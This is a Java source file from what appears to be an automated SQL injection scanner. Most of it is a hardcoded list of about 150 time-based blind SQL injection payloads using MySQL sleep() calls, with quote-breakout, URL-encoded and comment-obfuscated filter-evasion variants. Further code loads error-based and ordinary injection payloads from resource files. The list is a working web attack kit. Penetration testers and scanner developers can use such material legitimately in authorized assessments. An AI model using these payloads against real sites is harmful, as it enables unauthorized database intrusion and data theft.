package sqlInject;


import java.io.*;
import java.util.*;

import static sqlInject.Payload.errorInjectionPayload.ErrorPayloads;

/**
 * Created by shuaidong on 2017/6/25.
 */
public class Payload {


    public static class timeBlindInjectionPayload{

        public static final long TAIMEOUT = 10000L;

        public static HashSet<String> payloads;

        static {
            int timeout = 10;
            payloads = new HashSet<String>();
            payloads.add("' and sleep(" + timeout + ")#");
            payloads.add("' xor sleep(" + timeout + ")#");
            payloads.add("' or sleep(" + timeout + ")");
            payloads.add("' and sleep(" + timeout + ")#");
            payloads.add("' xor sleep(" + timeout + ")#");
            payloads.add("' or sleep(" + timeout + ")#");
            payloads.add("' and sleep(" + timeout + ")--");
            payloads.add("' xor sleep(" + timeout + ")--");
            payloads.add("' or sleep(" + timeout + ")--");
            payloads.add("') and sleep(" + timeout + ") or ('a'='a");
            payloads.add("') xor sleep(" + timeout + ") or ('a'='a");
            payloads.add("') and sleep(" + timeout + ") or ('a'='a");
            payloads.add("^sleep(" + timeout + ")^'");
            payloads.add("'^sleep(" + timeout + ")^'");
            payloads.add("^sleep(" + timeout + ")#");
            payloads.add("'^sleep(" + timeout + ")#");
            payloads.add("'^sleep(" + timeout + ")--");
            payloads.add("^sleep(" + timeout + ")--");
            payloads.add("' or sleep(" + timeout + ") or '1'='1'--");
            payloads.add("' and sleep(" + timeout + ") or '1'='1'--");
            payloads.add("' xor sleep(" + timeout + ") or '1'='1'--");
            payloads.add("' or sleep(" + timeout + ") or ''='");
            payloads.add("\" or sleep(" + timeout + ") or \"\"=\"");
            payloads.add("\" sleep(" + timeout + ") or \"a\"=\"a");
            payloads.add("\" and sleep(" + timeout + ") or 1=1 --");
            payloads.add("' and sleep(" + timeout + ") or 1=1 --");
            payloads.add("' and sleep(" + timeout + ") or 'a'='a");
            payloads.add("') or sleep(" + timeout + ") or ('a'='a");
            payloads.add("\") or sleep(" + timeout + ") or (\"a\"=\"a");
            payloads.add("'admin' or sleep(" + timeout + ") or 'x'='x';");
            payloads.add(" and sleep(" + timeout + ")#");
            payloads.add(" xor sleep(" + timeout + ")#");
            payloads.add(" xor sleep(" + timeout + ")#");
            payloads.add(" or sleep(" + timeout + ")");
            payloads.add(" and sleep(" + timeout + ")#");
            payloads.add(" xor sleep(" + timeout + ")#");
            payloads.add(" or sleep(" + timeout + ")#");
            payloads.add(" and sleep(" + timeout + ")--");
            payloads.add(" xor sleep(" + timeout + ")--");
            payloads.add(" or sleep(" + timeout + ")--");
            payloads.add(") and sleep(" + timeout + ") or ('a'='a");
            payloads.add(") xor sleep(" + timeout + ") or ('a'='a");
            payloads.add(") and sleep(" + timeout + ") or ('a'='a");
            payloads.add("^sleep(" + timeout + ")^");
            payloads.add("^sleep(" + timeout + ")^'");
            payloads.add("^sleep(" + timeout + ")#");
            payloads.add("^sleep(" + timeout + ")#");
            payloads.add("^sleep(" + timeout + ")--");
            payloads.add("^sleep(" + timeout + ")--");
            payloads.add(" or sleep(" + timeout + ") or '1'='1'--");
            payloads.add(" and sleep(" + timeout + ") or '1'='1'--");
            payloads.add(" xor sleep(" + timeout + ") or '1'='1'--");
            payloads.add(" or sleep(" + timeout + ") or ''='");
            payloads.add("%20xor%20sleep(" + timeout +")--");
            payloads.add("%27%20or%20sleep(" + timeout + ")%23");
            payloads.add("%27%20and%20sleep(" + timeout + ")--");
            payloads.add("%27%20xor%20sleep(" + timeout + ")--");
            payloads.add("%27%20or%20sleep(" + timeout + ")--");
            payloads.add("%27)%20and%20sleep(" + timeout + ")%20or%20(%27a%27=%27a");
            payloads.add("%27)%20xor%20sleep(" + timeout + ")%20or%20(%27a%27=%27a");
            payloads.add("%27)%20and%20sleep(" + timeout + ")%20or%20(%27a%27=%27a");
            payloads.add("^sleep(" + timeout + ")^%27");
            payloads.add("%27^sleep(" + timeout + ")^%27");
            payloads.add("^sleep(" + timeout + ")%23");
            payloads.add("%27^sleep(" + timeout + ")%23");
            payloads.add("%27^sleep(" + timeout + ")--");
            payloads.add("^sleep(" + timeout + ")--");
            payloads.add("%27%20or%20sleep(" + timeout + ")%20or%20%271%27=%271%27--");
            payloads.add("%27%20and%20sleep(" + timeout + ")%20or%20%271%27=%271%27--");
            payloads.add("%27%20xor%20sleep(" + timeout + ")%20or%20%271%27=%271%27--");
            payloads.add("%27%20or%20sleep(" + timeout + ")%20or%20%27%27=%27");
            payloads.add("%22%20or%20sleep(" + timeout + ")%20or%20%22%22=%22");
            payloads.add("%22%20sleep(" + timeout + ")%20or%20%22a%22=%22a");
            payloads.add("%22%20and%20sleep(" + timeout + ")%20or%201=1 --");
            payloads.add("%27%20and%20sleep(" + timeout + ")%20or%201=1 --");
            payloads.add("%27%20and%20sleep(" + timeout + ")%20or%20%27a%27=%27a");
            payloads.add("%27)%20or%20sleep(" + timeout + ")%20or%20(%27a%27=%27a");
            payloads.add("%22)%20or%20sleep(" + timeout + ")%20or%20(%22a%22=%22a");
            payloads.add("%27admin%27%20or%20sleep(" + timeout + ")%20or%20%27x%27=%27x%27;");
            payloads.add("%20and%20sleep(" + timeout + ")#");
            payloads.add("%20xor%20sleep(" + timeout + ")#");
            payloads.add("%20xor%20sleep(" + timeout + ")#");
            payloads.add("%20or%20sleep(" + timeout + ")");
            payloads.add("%20and%20sleep(" + timeout + ")#");
            payloads.add("%20xor%20sleep(" + timeout + ")#");
            payloads.add("%20or%20sleep(" + timeout + ")#");
            payloads.add("%20and%20sleep(" + timeout + ")--");
            payloads.add("%20xor%20sleep(" + timeout + ")--");
            payloads.add("%20or%20sleep(" + timeout + ")--");
            payloads.add(")%20and%20sleep(" + timeout + ")%20or%20('a'='a");
            payloads.add(")%20xor%20sleep(" + timeout + ")%20or%20('a'='a");
            payloads.add(")%20and%20sleep(" + timeout + ")%20or%20('a'='a");
            payloads.add("^sleep(" + timeout + ")^");
            payloads.add("^sleep(" + timeout + ")^'");
            payloads.add("^sleep(" + timeout + ")#");
            payloads.add("^sleep(" + timeout + ")#");
            payloads.add("^sleep(" + timeout + ")--");
            payloads.add("^sleep(" + timeout + ")--");
            payloads.add("%20or%20sleep(" + timeout + ")%20or%20'1'='1'--");
            payloads.add("%20and%20sleep(" + timeout + ")%20or%20'1'='1'--");
            payloads.add("%20xor%20sleep(" + timeout + ")%20or%20'1'='1'--");
            payloads.add("%20or%20sleep(" + timeout + ")%20or%20''='");
            payloads.add("'/**/and/**/sleep("+ timeout + ")#");
            payloads.add("'/**/xor/**/sleep("+ timeout + ")#");
            payloads.add("'/**/or/**/sleep(" + timeout + ")");
            payloads.add("'/**/and/**/sleep(" + timeout + ")#");
            payloads.add("'/**/xor/**/sleep(" + timeout + ")#");
            payloads.add("'/**/or/**/sleep(" + timeout + ")#");
            payloads.add("'/**/and/**/sleep(" + timeout + ")--");
            payloads.add("'/**/xor/**/sleep(" + timeout + ")--");
            payloads.add("'/**/or/**/sleep(" + timeout + ")--");
            payloads.add("')/**/and/**/sleep(" + timeout + ")/**/or/**/('a'='a");
            payloads.add("')/**/xor/**/sleep(" + timeout + ")/**/or/**/('a'='a");
            payloads.add("')/**/and/**/sleep(" + timeout + ")/**/or/**/('a'='a");
            payloads.add("^sleep(" + timeout + ")^'");
            payloads.add("'^sleep(" + timeout + ")^'");
            payloads.add("^sleep(" + timeout + ")#");
            payloads.add("'^sleep(" + timeout + ")#");
            payloads.add("'^sleep(" + timeout + ")--");
            payloads.add("^sleep(" + timeout + ")--");
            payloads.add("'/**/or/**/sleep(" + timeout + ")/**/or/**/'1'='1'--");
            payloads.add("'/**/and/**/sleep(" + timeout + ")/**/or/**/'1'='1'--");
            payloads.add("'/**/xor/**/sleep(" + timeout + ")/**/or/**/'1'='1'--");
            payloads.add("'/**/or/**/sleep(" + timeout + ")/**/or/**/''='");
            payloads.add("\"/**/or/**/sleep(" + timeout + ")/**/or/**/\"\"=\"");
            payloads.add("\"/**/sleep(" + timeout + ")/**/or/**/\"a\"=\"a");
            payloads.add("\"/**/and/**/sleep(" + timeout + ")/**/or/**/1=1 --");
            payloads.add("'/**/and/**/sleep(" + timeout + ")/**/or/**/1=1 --");
            payloads.add("'/**/and/**/sleep(" + timeout + ")/**/or/**/'a'='a");
            payloads.add("')/**/or/**/sleep(" + timeout + ")/**/or/**/('a'='a");
            payloads.add("\")/**/or/**/sleep(" + timeout + ")/**/or/**/(\"a\"=\"a");
            payloads.add("'admin'/**/or/**/sleep(" + timeout + ")/**/or/**/'x'='x';");
            payloads.add("/**/and/**/sleep(" + timeout + ")#");
            payloads.add("/**/xor/**/sleep(" + timeout + ")#");
            payloads.add("/**/xor/**/sleep(" + timeout + ")#");
            payloads.add("/**/or/**/sleep(" + timeout + ")");
            payloads.add("/**/and/**/sleep(" + timeout + ")#");
            payloads.add("/**/xor/**/sleep(" + timeout + ")#");
            payloads.add("/**/or/**/sleep(" + timeout + ")#");
            payloads.add("/**/and/**/sleep(" + timeout + ")--");
            payloads.add("/**/xor/**/sleep(" + timeout + ")--");
            payloads.add("/**/or/**/sleep(" + timeout + ")--");
            payloads.add(")/**/and/**/sleep(" + timeout + ")/**/or/**/('a'='a");
            payloads.add(")/**/and sleep(" + timeout + ")/**/or/**/('a'='a");
            payloads.add("/**/or/**/sleep(" + timeout + ")/**/or/**/'1'='1'--");
            payloads.add("/**/and/**/sleep(" + timeout + ")/**/or/**/'1'='1'--");
            payloads.add("/**/xor/**/sleep(" + timeout + ")/**/or/**/'1'='1'--");
            payloads.add("/**/or/**/sleep(" + timeout + ")/**/or/**/''='");
        }



    }

    public static class errorInjectionPayload{

        public static class ErrorPayload {
            private String leadingMistakeContent;
            private List<String> mistakeContentFlag;

            public ErrorPayload(String leadingMistakeContent, List<String> mistakeContentFlag) {
                this.leadingMistakeContent = leadingMistakeContent;
                this.mistakeContentFlag = mistakeContentFlag;
            }

            public ErrorPayload() {
            }

            public String getLeadingMistakeContent() {
                return leadingMistakeContent;
            }

            public void setLeadingMistakeContent(String leadingMistakeContent) {
                this.leadingMistakeContent = leadingMistakeContent;
            }

            public List<String> getMistakeContentFlag() {
                return mistakeContentFlag;
            }

            public void setMistakeContentFlag(List<String> mistakeContentFlag) {
                this.mistakeContentFlag = mistakeContentFlag;
            }
        }

        public static List<ErrorPayload> ErrorPayloads;
        private static BufferedReader bufferedReader = new BufferedReader(new InputStreamReader( Payload.class.getClassLoader().
                getResourceAsStream("sqlerrors.txt")));

        static {
            ErrorPayloads = new ArrayList<ErrorPayload>();
            String line = null;
            try {
                while ((line = bufferedReader.readLine())!=null&&!line.trim().equals("")){
                    ErrorPayload errorPayload = new ErrorPayload();

                    String[] strings = line.split("\\|");
                    List<String> mistake = new ArrayList<String>();
                    for (int i=0;i<strings.length;++i){
                        if (i==0){
                            errorPayload.setLeadingMistakeContent(strings[0]);
                        }else {
                            mistake.add(strings[i]);
                        }
                    }
                    errorPayload.setMistakeContentFlag(mistake);
                    ErrorPayloads.add(errorPayload);

                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }

    }

    public static class OrdinaryInjectionPayload{

        private static BufferedReader bufferedReader = new BufferedReader(new InputStreamReader( Payload.class.getClassLoader().
                getResourceAsStream("ordinaryInjectionPayload.txt")));

        public static List<HashMap<String,String>> payloads =new ArrayList<HashMap<String, String>>();

        static {
            try {
                String line = null;
                while ((line = bufferedReader.readLine())!= null&&!line.trim().equals("")){
                    String[] strings = line.split("\\|");
                    HashMap payload = new HashMap<String,String>();
                    payload.put(strings[0],strings[1]);
                    payloads.add(payload);
                }
                bufferedReader.close();
            } catch (FileNotFoundException e) {
                e.printStackTrace();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }


    }

    public static void main(String[] args) {
        for (errorInjectionPayload.ErrorPayload errorPayload:ErrorPayloads){
            System.out.println(errorPayload.getLeadingMistakeContent());
            System.out.println(errorPayload.getMistakeContentFlag().toString());
        }


       /* for (HashMap<String,String> payload:OrdinaryInjectionPayload.payloads){

            for (Map.Entry<String,String> entry: payload.entrySet()){
                System.out.println(entry.getKey()+"不正常页面显示"+entry.getValue());
            }
        }*/
 /*     String s = "' or 1=1*//*|' and 1=2*//*";
      String[] strings = s.split("\\|");
        System.out.println(strings[0]+"----"+strings[1]);*/

    }

}
